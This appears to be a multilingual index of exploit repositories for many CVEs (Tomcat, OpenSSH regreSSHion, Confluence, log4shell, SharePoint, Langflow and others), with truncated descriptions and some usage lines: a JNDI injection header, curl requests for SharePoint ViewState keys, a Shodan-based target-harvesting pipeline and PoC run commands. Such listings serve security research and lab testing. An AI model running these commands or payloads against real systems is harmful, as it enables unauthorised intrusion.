CVE-2024-28397-RCE

CVE-2024-28397-RCE CVE-2024-28397 - 취약한 JS2PY에서의 원격 코드 실행 사용법: python3 exploit.py...

POC-CVE-2025-24813

CVE-2025-24813 Apache Tomcat RCE PoC CVE-2025-24813를 악용하는 개념 증명PoC 코드로, Apache Tomcat의 원격 코드 실행RCE 취약점입니다. 이 취약점을 통해 공격자는 악성 직렬화 페이로드를 서버에 업로드할 수 있으며, 특정 조건이 충족되면 역직렬화를 통해 임의 코드 실행으로 이어집니다. 설명 CVE-2025-24813 은 업로드된 세션 파일의 부적절한 처리와 역직렬화 메커니즘을 이용하는 Apache Tomcat의 이론적 RCE 취약점입니다. 공격자는 쓰기 가능한 디렉터리예:...

CVE-2024-6387

CVE-2024-6387 regreSSHion regreSSHionエクスプロイトの概念実証Pythonスクリプト。バージョン0.2.1 build POC インストール root@kitploit: git clone https://github.com/l-urk/CVE-2024-6387.git root@kitploit: cd CVE-2024-6387 root@kitploit: pip3 install -r requirements.txt root@kitploit: python3 regreSSHion.py -h 使用方法 root@kitploit:...

apache_normalize_path

CVE-2021-41773|CVE-2021-42013: Apache HTTPサーバーで悪用されたパストラバーサルゼロデイ脆弱性 10月5日、Apache HTTP Server Projectは、CVE-2021-41773を修正しました。これは、最も広く使用されているWebサーバーの1つであるUnixおよびWindows向けのオープンソースWebサーバーApache HTTP Serverにおけるパストラバーサルおよびファイル開示の脆弱性です。セキュリティアドバイザリによると、CVE-2021-41773はゼロデイとして実際に悪用されています。この脆弱性は、9月29日にAsh...

CVE-2019-16759

CVE-2019-16759 vBulletin 5.x Vulnerabilidad de ejecución remota de código no autenticada Nota: Algunos POC devuelven 403 en lugar de 200 Verificación mejorada: echo md5'vBulletin'; Comprobar si la respuesta contiene be4ea51d962be8308a0099ae1eb3ec63 print...

CVE-2022-26134

CVE-2022-26134 1. 먼저 shodan 스크립트를 실행하여 모든 IP를 수집합니다 python3 shodanscript.py -API yourapi -L limit -D "http.favicon.hash:-305179312 200" log.txt 예: python3 shodanscript.py -API xxxxxxx -L 10 -D "http.favicon.hash:-305179312 200" log.txt 2. 유효한 모든 IP에 대해 : cat log.txt | httpx -o forexploits.txt 3...

CVE-2019-16113-Dockerfile

Bludit 디렉터리 트래버설 취약점（CVE-2019--16113） Bludit-3.9.2는 LAMP 환경만 있으면 실행할 수 있는 경량 CMS입니다. 이미지 업로드 시 Bludit은 파일 확장자를 확인한 후 파일을 제때 삭제하지 않으므로, 공격자는 uuid 매개변수를 제어하여 디렉터리 트래버설을 수행할 수도 있습니다. 구체적인 내용은 참고 취약점 환경 다음 명령을 실행하여 이미지를 빌드하고 Bludit 컨테이너를 시작합니다 root@kitploit: cd Docker sudo docker build -t bludit:cve...

Blackash-CVE-2025-0282

Blackash-CVE-2025-0282 説明 Ivanti Connect Secure バージョン22.7R2.5未満、Ivanti Policy Secure バージョン22.7R1.2未満、およびIvanti Neurons for ZTAゲートウェイ バージョン22.7R2.3未満 におけるスタックベースのバッファオーバーフローにより、リモートの未認証攻撃者がリモートコード実行を達成できます。 メトリクス CNA: ivanti 基本スコア: 9.0 CRITICAL ⚫ ベクター: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H...

log4shell_lab

log4shell エクスプロイトラボ このリポジトリは、log4shell エクスプロイトラボのワンラインセットアップです。 ラボのセットアップ: docker-compose up -d エクスプロイトの実行: curl -X GET http://localhost:8080/ -H "X-Api-Version: $jndi:ldap://myldapserver:1389/a" 次に、vul コンテナに移動して、実際にマシンを pwn したことを確認します: ラボのセットアップを解説する動画: https://www.youtube.com/watch?v=WBzR30JcT5...

CVE-2020-10238

HK 제작 CVE-2020-10238: comtemplates의 잘못된 액세스 제어 - RCE CVE-2020-10239: comfields SQL 필드의 잘못된 액세스 제어 - RCE 링크 https://developer.joomla.org/security-centre/804-20200303-core-incorrect-access-control-in-com-templates.html...

log4j-vul

log4j-vul このプロジェクトは、Apache Log4j2 の脆弱性 別名 CVE-2021-44228 を示すためのものです。 Java: java version "1.8.0121" コンパイル: srcフォルダから javac -classpath .;..\lib\log4j-api-2.1.jar;..\lib\log4j-core-2.1.jar com\example\Log4jVul.java 実行\実行: srcフォルダから java -classpath .;..\lib\log4j-api-2.1.jar;..\lib\log4j-core-2.1.jar...

CVE-2022-24706

CVE-2022-24706 Apache CouchDB 3.2.1 - 원격 코드 실행 RCE 검사기 사용법: nmap -p 4369 --script CVE-2022-24706.nse --script-args cookie=monster,timeout=5000...

cve-2025-3248-exploit

CVE-2025-3248: Сканер уязвимости удаленного выполнения кода RCE без аутентификации в Langflow Комплексный эксплойт-фреймворк на Python для тестирования и демонстрации CVE-2025-3248 — критической уязвимости удаленного выполнения кода без аутентификации в Langflow версий ≤ 1.3.0. 🔴 Обзор уязвимости...

CVE-2021-41773

CVE-2021-41773 Apache HTTP Server 2.4.49, 2.4.50 - 경로 탐색 & 원격 코드 실행...

CVE-2025-53770-Exploit

CVE-2025-53770-Exploit まず、対象のSharePointページからVIEWSTATEGENERATOR、VALIDATIONKEY、VALIDATIONALGの値を取得します： root@kitploit: curl -s https://target.com/layouts/15/start.aspx | grep -oP 'VIEWSTATEGENERATOR" value="\K^"+' curl https://target.com/layouts/15/spinstall0.aspx...

CVE-2024-44902-env

CVE-2024-44902 - ThinkPHP 안전하지 않은 역직렬화 RCE nuclei-templates 검증을 위한 취약 환경. 취약점 세부 정보...

react-rce

CVE-2025-55182 React2Shell 취약점 실습 사용된 AI : Claude Opus 4.5 ⚠️ 경고 : 이 환경은 교육 및 연구 목적 으로만 사용하세요. 취약점 개요...

CVE-2024-6387

원문 재게시 CVE-2024-6387 - PoC 📜 설명 참고: 이 스크립트는 빠른 프로토타입 PoC입니다. 일부 오류 및 버그가 발생할 수 있습니다. 테스트 환경: Kali Linux, ParrotSec, Ubuntu 22.04 OpenSSH 서버의 원격 인증되지 않은 코드 실행 취약점 OpenSSH 서버sshd에서 신호 핸들러 경쟁 조건이 발견되었습니다. 클라이언트가 LoginGraceTime기본 120초, 이전 OpenSSH 버전에서는 600초 내에 인증을 완료하지 않으면 sshd의 SIGALRM 핸들러가 비동기적으로...

CVE-2023-33253

CVE-2023-33253 LabCollector 6.0 から 6.15 まで、リモートコード実行が可能です 認証されたリモートの低権限ユーザーが、実行可能なPHPファイルをアップロードし、システムコマンドを実行できます。 脆弱性はメッセージ機能にあり、送信されるファイル（例：shell.jpg.php.shell）の検証が不十分であることが原因です。 Windows Server 2019 x64 でテスト済み 使用方法: python CVE-2023-33253 -t 127.0.0.1 -u user -p user PoC:...

cve-2024-0305exp

cve-2024-0305exp cve-2024-0305 사용 가능한 exp, 인용 시 출처를 밝혀주시기 바랍니다. 감사합니다! 0x01 제품 배경 Ncast Yingkeshi HD 지능형 녹화 시스템은 광저우 Yingkeshi 전자 기술 유한회사의 제품입니다. 이 시스템에는 RCE 취약점이 존재하며, 공격자는 이 취약점을 이용하여 임의 명령을 실행할 수 있습니다. 이를 통해 서버 권한을 획득하여 서버가 장악될 수 있습니다. 0x02 취약점 범위 Ncast 2007 Ncast 2017 0x03 취약점 검색 FOFA:...